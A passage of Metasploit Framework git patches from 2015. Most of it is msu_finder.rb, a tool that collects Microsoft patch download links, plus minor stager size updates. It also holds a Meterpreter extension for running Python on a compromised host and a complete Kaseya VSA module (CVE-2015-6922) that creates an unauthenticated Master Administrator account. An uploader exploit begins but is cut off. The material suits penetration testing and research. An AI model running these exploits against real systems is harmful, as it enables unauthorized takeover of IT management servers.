a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb +++ b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/bind_tcp' module Metasploit4 - CachedSize = 483 + CachedSize = 485 include Msf::Payload::Stager include Msf::Payload::Windows::BindTcp_x64 diff --git a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb index dfdd4ce73c..b0db550f7a 100644 --- a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/bind_tcp' module Metasploit4 - CachedSize = 524 + CachedSize = 526 include Msf::Payload::Stager include Msf::Payload::Windows::BindTcp_x64 diff --git a/modules/payloads/stagers/windows/x64/bind_tcp.rb b/modules/payloads/stagers/windows/x64/bind_tcp.rb index 547e323d9f..138a5ec914 100644 --- a/modules/payloads/stagers/windows/x64/bind_tcp.rb +++ b/modules/payloads/stagers/windows/x64/bind_tcp.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/bind_tcp' module Metasploit4 - CachedSize = 481 + CachedSize = 483 include Msf::Payload::Stager include Msf::Payload::Windows::BindTcp_x64 diff --git a/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb index 00966f3d82..03d791ba5f 100644 --- a/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/bind_tcp' module Metasploit4 - CachedSize = 522 + CachedSize = 524 include Msf::Payload::Stager include Msf::Payload::Windows::BindTcp_x64 diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp.rb b/modules/payloads/stagers/windows/x64/reverse_tcp.rb index 61879f0de6..e2c271e2ed 100644 --- a/modules/payloads/stagers/windows/x64/reverse_tcp.rb +++ b/modules/payloads/stagers/windows/x64/reverse_tcp.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_tcp' module Metasploit4 - CachedSize = 450 + CachedSize = 449 include Msf::Payload::Stager include Msf::Payload::Windows::ReverseTcp_x64 diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb index 51158fc908..9556fca229 100644 --- a/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_tcp' module Metasploit4 - CachedSize = 491 + CachedSize = 490 include Msf::Payload::Stager include Msf::Payload::Windows::ReverseTcp_x64 From 8f1999e227a4ecd7e877c09f39e8dcebdbc18ce7 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 28 Sep 2015 18:44:31 -0500 Subject: [PATCH 0758/2172] Add dev tool MSFT MSU finder (msu_finder.rb) You can use this tool to find MSFT patches. Please see -h for more information. --- tools/msu_finder.rb | 746 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 746 insertions(+) create mode 100644 tools/msu_finder.rb diff --git a/tools/msu_finder.rb b/tools/msu_finder.rb new file mode 100644 index 0000000000..2ef0699829 --- /dev/null +++ b/tools/msu_finder.rb @@ -0,0 +1,746 @@ +#!/usr/bin/env ruby + +### +# +# This sceript will enumerate download links for Microsoft patches. +# +# Author: +# * sinn3r +# +### + + +msfbase = __FILE__ +while File.symlink?(msfbase) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) +end +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +require 'rex' +require 'nokogiri' +require 'uri' +require 'json' +require 'optparse' + +module MicrosoftPatch + + module SiteInfo + TECHNET = { + ip: '157.56.148.23', + vhost: 'technet.microsoft.com' + } + + MICROSOFT = { + ip: '104.72.230.162', + vhost: 'www.microsoft.com' + } + + GOOGLEAPIS = { + ip: '74.125.28.95', + vhost: 'www.googleapis.com' + } + end + + # This class provides whatever other classes need. + class Base + + # Prints a debug message. + # + # @param msg [String] The message to print. + # @return [void] + def print_debug(msg='') + $stderr.puts "[DEBUG] #{msg}" + end + + # Prints a status message. + # + # @param msg [String] The message to print. + # @return [void] + def print_status(msg='') + $stderr.puts "[*] #{msg}" + end + + # Prints an error message. + # + # @param msg [String] The message to print. + # @return [void] + def print_error(msg='') + $stderr.puts "[Error] #{msg}" + end + + # Prints a regular message. + # + # @param msg [String] The message to print. + # @return pvoid + def print_line(msg='') + $stdout.puts msg + end + + # Sends an HTTP request with Rex. + # + # @param rhost [Hash] Information about the target host. Use MicrosoftPatch::SiteInfo. + # @option rhost [String] :vhost + # @option rhost [String] :ip IPv4 address + # @param opts [Hash] Information about the Rex request. + # @return [Rex::Proto::Http::Response] + def send_http_request(rhost, opts={}) + res = nil + + opts.merge!({'vhost'=>rhost[:vhost]}) + + print_debug("Requesting: #{opts['uri']}") + + cli = Rex::Proto::Http::Client.new(rhost[:ip], 443, {}, true, 'TLS1') + tries = 1 + begin + cli.connect + req = cli.request_cgi(opts) + res = cli.send_recv(req) + rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e + if tries < 3 + print_error("Failed to make a request, but will try again in 5 seconds...") + sleep(5) + tries += 1 + retry + else + raise "[x] Unable to make a request: #{e.class} #{e.message}\n#{e.backtrace * "\n"}" + end + ensure + cli.close + end + + res + end + end + + + # Collects MSU download links from Technet. + class PatchLinkCollector < Base + + # Returns a response of an advisory page. + # + # @param msb [String] MSB number in this format: msxx-xxx + # @return [Rex::Proto::Http::Response] + def download_advisory(msb) + send_http_request(SiteInfo::TECHNET, { + 'uri' => "/en-us/library/security/#{msb}.aspx" + }) + end + + + # Returns the most appropriate pattern that could be used to parse and extract links from an advisory. + # + # @param n [Nokogiri::HTML::Document] The advisory page parsed by Nokogiri + # @return [Hash] + def get_appropriate_pattern(n) + # These pattern checks need to be in this order. + patterns = [ + # This works from MS14-001 until the most recent + { + check: '//div[@id="mainBody"]//div//h2//div//span[contains(text(), "Affected Software")]', + pattern: '//div[@id="mainBody"]//div//div[@class="sectionblock"]//table//a' + }, + # This works from ms03-040 until MS07-029 + { + check: '//div[@id="mainBody"]//ul//li//a[contains(text(), "Download the update")]', + pattern: '//div[@id="mainBody"]//ul//li//a[contains(text(), "Download the update")]' + }, + # This works from sometime until ms03-039 + { + check: '//div[@id="mainBody"]//div//div[@class="sectionblock"]//p//strong[contains(text(), "Download locations")]', + pattern: '//div[@id="mainBody"]//div//div[@class="sectionblock"]//ul//li//a' + }, + # This works from MS07-030 until MS13-106 (the last update in 2013) + # The check is pretty short so if it kicks in too early, it tends to create false positives. + # So it goes last. + { + check: '//div[@id="mainBody"]//p//strong[contains(text(), "Affected Software")]', + pattern: '//div[@id="mainBody"]//table//a' + }, + ] + + patterns.each do |pattern| + if n.at_xpath(pattern[:check]) + return pattern[:pattern] + end + end + + nil + end + + + # Returns the details page for an advisory. + # + # @param res [Rex::Proto::Http::Response] + # @return [Array] An array of URI objects. + def get_details_aspx(res) + links = [] + + page = res.body + n = ::Nokogiri::HTML(page) + + appropriate_pattern = get_appropriate_pattern(n) + + n.search(appropriate_pattern).each do |anchor| + found_link = anchor.attributes['href'].value + if /https:\/\/www\.microsoft\.com\/downloads\/details\.aspx\?familyid=/i === found_link + begin + links << URI(found_link) + rescue ::URI::InvalidURIError + print_error "Unable to parse URI: #{found_link}" + end + end + end + + links + end + + + # Returns the redirected page. + # + # @param rhost [Hash] From MicrosoftPatch::SiteInfo + # @param res [Rex::Proto::Http::Response] + # @return [Rex::Proto::Http::Response] + def follow_redirect(rhost, res) + opts = { + 'method' => 'GET', + 'uri' => res.headers['Location'] + } + + send_http_request(rhost, opts) + end + + + # Returns the download page of an advisory. + # + # @param uri [URI::HTTP] + # @return [Rex::Proto::Http::Response] + def get_download_page(uri) + opts = { + 'method' => 'GET', + 'uri' => uri.request_uri + } + + res = send_http_request(SiteInfo::MICROSOFT, opts) + + if res.headers['Location'] + return follow_redirect(SiteInfo::MICROSOFT, res) + end + + res + end + + + # Returns a collection of found MSU download links from an advisory. + # + # @param page [String] The HTML page of the advisory. + # @return [Array] An array of links + def get_download_links(page) + page = ::Nokogiri::HTML(page) + + relative_uri = page.search('a').select { |a| + a.attributes['href'] && a.attributes['href'].value.include?('confirmation.aspx?id=') + }.first + + return [] unless relative_uri + relative_uri = relative_uri.attributes['href'].value + + absolute_uri = URI("https://www.microsoft.com/en-us/download/#{relative_uri}") + opts = { + 'method' => 'GET', + 'uri' => absolute_uri.request_uri + } + res = send_http_request(SiteInfo::MICROSOFT, opts) + n = ::Nokogiri::HTML(res.body) + + n.search('a').select { |a| + a.attributes['href'] && a.attributes['href'].value.include?('http://download.microsoft.com/download/') + }.map! { |a| a.attributes['href'].value }.uniq + end + + + # Returns whether the page is an advisory or not. + # + # @param res [Rex::Proto::Http::Response] + # @return [Boolean] true if the page is an advisory, otherwise false. + def has_advisory?(res) + !res.body.include?('We are sorry. The page you requested cannot be found') + end + + + # Returns whether the number is in valid MSB format or not. + # + # @param msb [String] The number to check. + # @return [Boolean] true if the number is in MSB format, otherwise false. + def is_valid_msb?(msb) + /^ms\d\d\-\d\d\d$/i === msb + end + end + + + # A class that searches advisories from Technet. + class TechnetMsbSearch < Base + def initialize + opts = { + 'method' => 'GET', + 'uri' => '/en-us/security/bulletin/dn602597.aspx' + } + res = send_http_request(SiteInfo::TECHNET, opts) + @firstpage ||= res.body + end + + + # Returns a collection of found MSB numbers either from the product list, or generic search. + # + # @param keyword [String] The product to look for. + # @return [Array] + def find_msb_numbers(keyword) + product_list_matches = get_product_dropdown_list.select { |p| /^#{keyword}/ === p[:option_text] } + if product_list_matches.empty? + print_debug("Did not find a match from the product list, attempting a generic search") + search_by_keyword(keyword) + else + product_names = [] + ids = [] + product_list_matches.each do |e| + ids << e[:option_value] + product_names << e[:option_text] + end + print_debug("Matches from the product list (#{product_names.length}): #{ product_names * ', ' }") + search_by_product_ids(ids) + end + end + + + # Returns the search results in JSON format. + # + # @param keyword [String] The keyword to search. + # @return [Hash] JSON data. + def search(keyword) + opts = { + 'method' => 'GET', + 'uri' => '/security/bulletin/services/GetBulletins', + 'vars_get' => { + 'searchText' => keyword, + 'sortField' => '0', + 'sortOrder' => '1', + 'currentPage' => '1', + 'bulletinsPerPage' => '9999', + 'locale' => 'en-us' + } + } + res = send_http_request(SiteInfo::TECHNET, opts) + begin + return JSON.parse(res.body) + rescue JSON::ParserError + end + + {} + end + + + # Performs a search based on product IDs + # + # @param ids [Array] An array of product IDs. + # @return [Array] An array of found MSB numbers. + def search_by_product_ids(ids) + msb_numbers = [] + + ids.each do |id| + j = search(id) + msb = j['b'].collect { |e| e['Id']}.map{ |e| e.downcase} + msb_numbers.concat(msb) + end + + msb_numbers + end + + + # Performs a search based on a keyword + # + # @param keyword [String] + # @return [Array] An array of found MSB numbers + def search_by_keyword(keyword) + j = search(keyword) + j['b'].collect { |e| e['Id']}.map{ |e| e.downcase } + end + + + # Returns the product list that Technet currently supports for searching. + # + # @return [Array] + def get_product_dropdown_list + @product_dropdown_list ||= lambda { + list = [] + + page = ::Nokogiri::HTML(firstpage) + page.search('//div[@class="sb-search"]//select[@id="productDropdown"]//option').each do |product| + option_value = product.attributes['value'].value + option_text = product.text + next if option_value == '-1' # This is the ALL option + list << { option_value: option_value, option_text: option_text } + end + + list + }.call + end + + attr_reader :firstpage + end + + class GoogleMsbSearch < Base + # API Doc: + # https://developers.google.com/custom-search/json-api/v1/using_rest + # Known bug: + # * Always gets 20 MSB results. Weird. + + def initialize(opts={}) + @api_key = opts[:api_key] + @search_engine_id = opts[:search_engine_id] + end + + + # Returns the MSB numbers associated with the keyword. + # + # @param keyword [String] The keyword to search for in an advisory. + # @return [Array] MSB numbers + def find_msb_numbers(keyword) + msb_numbers = [] + starting_index = 1 + + begin + while ( starting_index = get_next_index( (results = search(keyword: keyword, starting_index: starting_index))) ) > 0 + items = results['items'] + items.each do |item| + title = item['title'] + msb = title.scan(/Microsoft Security Bulletin (MS\d\d\-\d\d\d)/).flatten.first + if msb + msb_numbers << msb.downcase + end + end + end + rescue RuntimeError => e + print_error(e.message) + return msb_numbers + end + + msb_numbers.uniq + end + + + # Performs a search using Google API + # + # @param opts [Hash] + # @options opts [String] :keyword The keyword to search + # @return [Hash] JSON data + def search(opts={}) + starting_index = opts[:starting_index] + + search_string = [ + opts[:keyword], + 'intitle:"Microsoft Security Bulletin"', + '-"Microsoft Security Bulletin Summary"' + ].join(' ') + + opts = { + 'method' => 'GET', + 'uri' => '/customsearch/v1', + 'vars_get' => { + 'key' => api_key, + 'cx' => search_engine_id, + 'q' => search_string, + 'start' => starting_index.to_s, + 'num' => '10', # 10 is max + 'c2coff' => '1' # 1 = Disabled, 0 = Enabled + } + } + + res = send_http_request(SiteInfo::GOOGLEAPIS, opts) + results = parse_results(res) + if starting_index == 1 + print_debug("Number of search results: #{get_total_results(results)}") + end + + results + end + + + # Parse Google API search results + # + # @param res [Rex::Proto::Http::Response] + # @raise [RuntimeError] If Google returns an error + # @return [Hash] + def parse_results(res) + j = JSON.parse(res.body) + + if j['error'] + message = j['error']['errors'].first['message'] + reason = j['error']['errors'].first['reason'] + raise "Google Search failed. #{message} (#{reason})" + end + + j + end + + + # Returns the total results. + # + # @param j [Hash] JSON data from Google. + # @return [Fixnum] + def get_total_results(j) + j['queries']['request'].first['totalResults'] + end + + + # Returns the next index. + # + # @param j [Hash] JSON data from Google. + # @return [Fixnum] + def get_next_index(j) + j['queries']['nextPage'] ? j['queries']['nextPage'].first['startIndex'] : 0 + end + + # @!attribute api_key + # @return [String] The Google API key + attr_reader :api_key + + # @!attribute search_engine_id + # @return [String] The Google Custom Search Engine ID + attr_reader :search_engine_id + end + + class OptsConsole + def self.banner + %Q| + Usage: #{__FILE__} [options] + + The following example will download all IE 10 update links: + #{__FILE__} -q "Internet Explorer 10" + + Searching advisories via Technet: + When you submit a query, the Technet search engine will first look it up from a product list. + If there is more than one match found, then the script will collect all of the advisories. + For example, the current product list has Internet Explorer 10 and 9, and if the query is + "Internet Explorer", then it will return results for both of them. If there's no match found, + then the Technet search engine will try a more generic search that doesn't use the product list. + But keep in mind this tends to return irrelevant results. If the generic search function kicks + in, you can use it to search via the MSB, KB, or even the CVE number. + + Searching advisories via Google: + Searching via Google requires an API key and an Search Engine ID from Google. To obtain these, + make sure you have a Google account (such as Gmail), and then do the following: + 1. Go to Google Developer's Console + 1. Enable Custom Search API + 2. Create a browser type credential. The credential is the API key. + 2. Go to Custom Search + 1. Create a new search engine + 2. Under Sites to Search, set: technet.microsoft.com + 3. In your search site, get the Search Engine ID under the Basics tab. + By default, Google has a quota limit of 1000 queries per day. You can raise this limit with + a fee. + + The way this tool uses Google to find advisories is the same as doing the following manually: + [Query] site:technet.microsoft.com intitle:"Microsoft Security Bulletin" -"Microsoft Security Bulletin Summary" + + Dryrun: + If you'd like to double check on false positives, you can use the -d flag and manually verify + the accuracy of the search results before actually collecting the download links. + + Download: + The following trick demonstrates how you can automatically download the updates: + ruby #{__FILE__} -q "ms15-100" -r x86 > /tmp/list.txt && wget -i /tmp/list.txt + | + end + + def self.get_parsed_options + options = {} + + parser = OptionParser.new do |opt| + opt.banner = banner.strip.gsub(/^[[:blank:]]{4}/, '') + opt.separator '' + opt.separator 'Specific options:' + + opt.on('-q', '--query ', 'Keyword to search') do |v| + options[:keyword] = v + end + + opt.on('-s', '--search-engine ', '(Optional) The type of search engine to use (Technet or Google). Default: Technet') do |v| + case v.to_s + when /^google$/i + options[:search_engine] = :google + when /^technet$/i + options[:search_engine] = :technet + else + raise OptionParser::MissingArgument, "Invalid search engine: #{v}" + end + end + + opt.on('-r', '--regex ', '(Optional) Search filter') do |v| + options[:regex] = v + end + + opt.on('--apikey ', '(Optional) Google API key. Set this if the search engine is Google') do |v| + options[:google_api_key] = v + end + + opt.on('--cx ', '(Optional) Google search engine ID. Set this if the search engine is Google') do |v| + options[:google_search_engine_id] = v + end + + opt.on('-d', '--dryrun', '(Optional) Perform a search, but do not fetch download links. Default: no') do |v| + options[:dryrun] = true + end + + opt.on_tail('-h', '--help', 'Show this message') do + $stderr.puts opt + exit + end + end + + parser.parse! + + if options.empty? + raise OptionParser::MissingArgument, 'No options set, try -h for usage' + elsif options[:keyword].nil? || options[:keyword].empty? + raise OptionParser::MissingArgument, '-q is required' + end + + unless options[:search_engine] + options[:search_engine] = :technet + end + + if options[:search_engine] == :google + if options[:google_api_key].nil? || options[:google_search_engine_id].empty? + raise OptionParser::MissingArgument, 'Search engine is Google, but no API key specified' + elsif options[:google_search_engine_id].nil? || options[:google_search_engine_id].empty? + raise OptionParser::MissingArgument, 'Search engine is Google, but no search engine ID specified' + end + end + + options + end + end + + class Module < Base + + def initialize + begin + @args = MicrosoftPatch::OptsConsole.get_parsed_options + rescue OptionParser::InvalidOption, OptionParser::MissingArgument => e + print_error(e.message) + exit + end + end + + # Returns download links. + # + # @param msb [String] MSB number. + # @param regex [String] The regex pattern to use to collect specific download URLs. + # @return [Array] Download links + def get_download_links(msb, regex=nil) + msft = MicrosoftPatch::PatchLinkCollector.new + + unless msft.is_valid_msb?(msb) + print_error "Not a valid MSB format." + print_error "Example of a correct one: ms15-100" + return [] + end + + res = msft.download_advisory(msb) + + if !msft.has_advisory?(res) + print_error "The advisory cannot be found" + return [] + end + + links = msft.get_details_aspx(res) + if links.length == 0 + print_error "Unable to find download.microsoft.com links. Please manually navigate to the page." + return [] + else + print_debug("Found #{links.length} affected products for this advisory.") + end + + link_collector = [] + + links.each do |link| + download_page = msft.get_download_page(link) + download_links = msft.get_download_links(download_page.body) + if regex + filtered_links = download_links.select { |l| Regexp.new(regex) === l } + link_collector.concat(filtered_links) + else + link_collector.concat(download_links) + end + end + + link_collector + end + + # Performs a search via Google + # + # @param keyword [String] The keyword to search + # @param api_key [String] Google API key + # @param cx [String] Google Search Engine Key + # @return [Array] See MicrosoftPatch::GoogleMsbSearch#find_msb_numbers + def google_search(keyword, api_key, cx) + search = MicrosoftPatch::GoogleMsbSearch.new(api_key: api_key, search_engine_id: cx) + search.find_msb_numbers(keyword) + end + + + # Performs a search via Technet + # + # @param keyword [String] The keyword to search + # @return [Array] See MicrosoftPatch::TechnetMsbSearch#find_msb_numbers + def technet_search(keyword) + search = MicrosoftPatch::TechnetMsbSearch.new + search.find_msb_numbers(keyword) + end + + def run + links = [] + msb_numbers = [] + keyword = args[:keyword] + regex = args[:regex] ? args[:regex] : nil + api_key = args[:google_api_key] + cx = args[:google_search_engine_id] + + case args[:search_engine] + when :technet + print_debug("Searching advisories for #{keyword} via Technet") + msb_numbers = technet_search(keyword) + when :google + print_debug("Searching advisories for #{keyword} via Google") + msb_numbers = google_search(keyword, api_key, cx) + end + + print_debug("Advisories found (#{msb_numbers.length}): #{msb_numbers * ', '}") unless msb_numbers.empty? + + return if args[:dryrun] + + msb_numbers.each do |msb| + print_debug("Finding download links for #{msb}") + links.concat(get_download_links(msb, regex)) + end + + unless links.empty? + print_status "Found these links:" + print_line links * "\n" + print_status "Total downloadable updates found: #{links.length}" + end + end + + attr_reader :args + end +end + + +if __FILE__ == $PROGRAM_NAME + mod = MicrosoftPatch::Module.new + begin + mod.run + rescue Interrupt + $stdout.puts + $stdout.puts "Good bye" + end +end From dd650409e470b5dfd21ab69ccfb03b0c89264e8f Mon Sep 17 00:00:00 2001 From: JT Date: Tue, 29 Sep 2015 08:05:13 +0800 Subject: [PATCH 0759/2172] Update simple_backdoors_exec.rb --- modules/exploits/multi/http/simple_backdoors_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/simple_backdoors_exec.rb b/modules/exploits/multi/http/simple_backdoors_exec.rb index 210aa1d65a..765d7ee6b1 100644 --- a/modules/exploits/multi/http/simple_backdoors_exec.rb +++ b/modules/exploits/multi/http/simple_backdoors_exec.rb @@ -16,13 +16,13 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ This module exploits unauthenticated simple web backdoor shells by leveraging the common backdoor shell's CMD parameter to execute commands. The SecLists project of - Daniel Miessler and Jason Haddix has a lot of samples for this kind of backdoor shells + Daniel Miessler and Jason Haddix has a lot of samples for these kind of backdoor shells which is categorized under Payloads. }, 'License' => MSF_LICENSE, 'Author' => [ - 'Jay Turla <@shipcod3>', + 'Jay Turla <@shipcod3>', ], 'References' => [ From 46adceec8f520d88d43d6470a8783b98648b99e4 Mon Sep 17 00:00:00 2001 From: JT Date: Tue, 29 Sep 2015 10:40:28 +0800 Subject: [PATCH 0760/2172] Update simple_backdoors_exec.rb --- modules/exploits/multi/http/simple_backdoors_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/simple_backdoors_exec.rb b/modules/exploits/multi/http/simple_backdoors_exec.rb index 765d7ee6b1..961db2b562 100644 --- a/modules/exploits/multi/http/simple_backdoors_exec.rb +++ b/modules/exploits/multi/http/simple_backdoors_exec.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'Jay Turla <@shipcod3>', + 'Jay Turla <@shipcod3>', ], 'References' => [ From fb0d766958fa0d0448a0049ea6b8b0bcda79a907 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 29 Sep 2015 20:48:29 +1000 Subject: [PATCH 0761/2172] First pass of the python extension for windows meterpreter This includes the basic construct for the python extension, and allows for single-shot commands to be run. --- .../meterpreter/extensions/python/python.rb | 52 ++++++++++++++++ .../post/meterpreter/extensions/python/tlv.rb | 15 +++++ .../ui/console/command_dispatcher/python.rb | 60 +++++++++++++++++++ 3 files changed, 127 insertions(+) create mode 100644 lib/rex/post/meterpreter/extensions/python/python.rb create mode 100644 lib/rex/post/meterpreter/extensions/python/tlv.rb create mode 100644 lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb diff --git a/lib/rex/post/meterpreter/extensions/python/python.rb b/lib/rex/post/meterpreter/extensions/python/python.rb new file mode 100644 index 0000000000..5b81d88217 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/python/python.rb @@ -0,0 +1,52 @@ +# -*- coding: binary -*- + +require 'rex/post/meterpreter/extensions/python/tlv' +require 'set' + +module Rex +module Post +module Meterpreter +module Extensions +module Python + +### +# +# Python extension - gives remote python scripting capabilities on the target. +# +### + +class Python < Extension + + # + # Typical extension initialization routine. + # + # @param client (see Extension#initialize) + def initialize(client) + super(client, 'python') + + client.register_extension_aliases( + [ + { + 'name' => 'python', + 'ext' => self + } + ]) + end + + # + # Dump the LSA secrets from the target machine. + # + # @return [Hash] + def execute_string(code) + request = Packet.create_request('python_execute_string') + request.add_tlv(TLV_TYPE_PYTHON_STRING, code) + + response = client.send_request(request) + + response.get_tlv_value(TLV_TYPE_PYTHON_OUTPUT) + end + +end + +end; end; end; end; end + diff --git a/lib/rex/post/meterpreter/extensions/python/tlv.rb b/lib/rex/post/meterpreter/extensions/python/tlv.rb new file mode 100644 index 0000000000..560c302e10 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/python/tlv.rb @@ -0,0 +1,15 @@ +# -*- coding: binary -*- +module Rex +module Post +module Meterpreter +module Extensions +module Python + +TLV_TYPE_PYTHON_STRING = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 1) +TLV_TYPE_PYTHON_OUTPUT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2) + +end +end +end +end +end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb new file mode 100644 index 0000000000..bf9ab4cf18 --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb @@ -0,0 +1,60 @@ +# -*- coding: binary -*- +require 'rex/post/meterpreter' + +module Rex +module Post +module Meterpreter +module Ui + +### +# +# Python extension - interact with a python interpreter +# +### +class Console::CommandDispatcher::Python + + Klass = Console::CommandDispatcher::Python + + include Console::CommandDispatcher + + # + # Name for this dispatcher + # + def name + 'Python' + end + + # + # List of supported commands. + # + def commands + { + 'python_execute' => 'Execute a python command string' + } + end + + def python_execute_usage + print_line('Usage: python_execute [python code]') + print_line + print_line('Runs the given python string on the target and returns the output.') + end + + # + # Execute a simple python command string + # + def cmd_python_execute(*args) + if args.length == 0 + python_execute_usage + return false + end + + client.python.execute_string(args[0]) + end + +end + +end +end +end +end + From 8af5a8e310300b1012c80c660139a4c1a0cbe4b4 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Tue, 29 Sep 2015 11:51:21 +0100 Subject: [PATCH 0762/2172] Create exploit for Kaseya privilege escalation --- .../admin/http/kaseya_master_admin.rb | 103 ++++++++++++++++++ 1 file changed, 103 insertions(+) create mode 100644 modules/auxiliary/admin/http/kaseya_master_admin.rb diff --git a/modules/auxiliary/admin/http/kaseya_master_admin.rb b/modules/auxiliary/admin/http/kaseya_master_admin.rb new file mode 100644 index 0000000000..92bdf0e2e9 --- /dev/null +++ b/modules/auxiliary/admin/http/kaseya_master_admin.rb @@ -0,0 +1,103 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Kaseya VSA Master Administrator Account Creation', + 'Description' => %q{ +This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new +Master Administrator account. Normally this page is only accessible via the localhost +interface, but the application does nothing to prevent this apart from attempting to +force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and +v9.0.0.3. +}, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2015-6922' ], + [ 'ZDI', '15-448' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt' ], + [ 'URL', 'TODO_FULLDISC_URL' ] + ], + 'DisclosureDate' => 'Sep 23 2015')) + + register_options( + [ + OptString.new('TARGETURI', [ true, "The Kaseya VSA URI", '/']), + OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']), + OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']), + OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc']) + ], self.class) + end + + + def run + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, "/LocalAuth/setAccount.aspx"), + 'method' =>'GET', + }) + + if res and res.body =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/ + sessionVal = $1 + print_status("#{peer} - Got sessionVal " + sessionVal + ", creating Master Administrator account") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, "/LocalAuth/setAccount.aspx"), + 'method' =>'POST', + 'vars_post' => { + "sessionVal" => sessionVal, + "adminName" => datastore['USERNAME'], + "NewPassword" => datastore['PASSWORD'], + "confirm" => datastore['PASSWORD'], + "adminEmail" => datastore['EMAIL'], + "setAccount" => "Create" + } + }) + + if res and res.code == 302 and res.body =~ /\/vsapres\/web20\/core\/login\.asp/ + print_good("#{peer} - Master Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']} created") + service_data = { + address: rhost, + port: rport, + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :password, + private_data: datastore['PASSWORD'], + username: datastore['USERNAME'] + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + access_level: 'Master Administrator', + status: Metasploit::Model::Login::Status::UNTRIED + } + login_data.merge!(service_data) + create_credential_login(login_data) + else + print_error("#{peer} - Master Administrator account creation failed") + end + else + print_error("#{peer} - Failed to get sessionVal") + end + end +end From 61c922c24de32d9e9c4cb91eb24c45283ad0a083 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Tue, 29 Sep 2015 11:56:34 +0100 Subject: [PATCH 0763/2172] Create kaseya_uploader.rb --- .../exploits/windows/http/kaseya_uploader.rb | 124 ++++++++++++++++++ 1 file changed, 124 insertions(+) create mode 100644 modules/exploits/windows/http/kaseya_uploader.rb diff --git a/modules/exploits/windows/http/kaseya_uploader.rb b/modules/exploits/windows/http/kaseya_uploader.rb new file mode 100644 index 0000000000..ae5fc2eb02 --- /dev/null +++ b/modules/exploits/windows/http/kaseya_uploader.rb @@ -0,0 +1,124 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Kaseya VSA uploader.aspx Arbitrary File Upload', + 'Description' => %q{ +This module exploits an arbitrary file upload vulnerability found in Kaseya VSA versions between +7 and 9.1. A malicious unauthenticated user can upload an ASP file to an arbitrary directory +leading to arbitrary code execution with IUSR privileges. This module has been tested with +Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3. +}, + 'Author' => + [ + 'Pedro Ribeiro ' 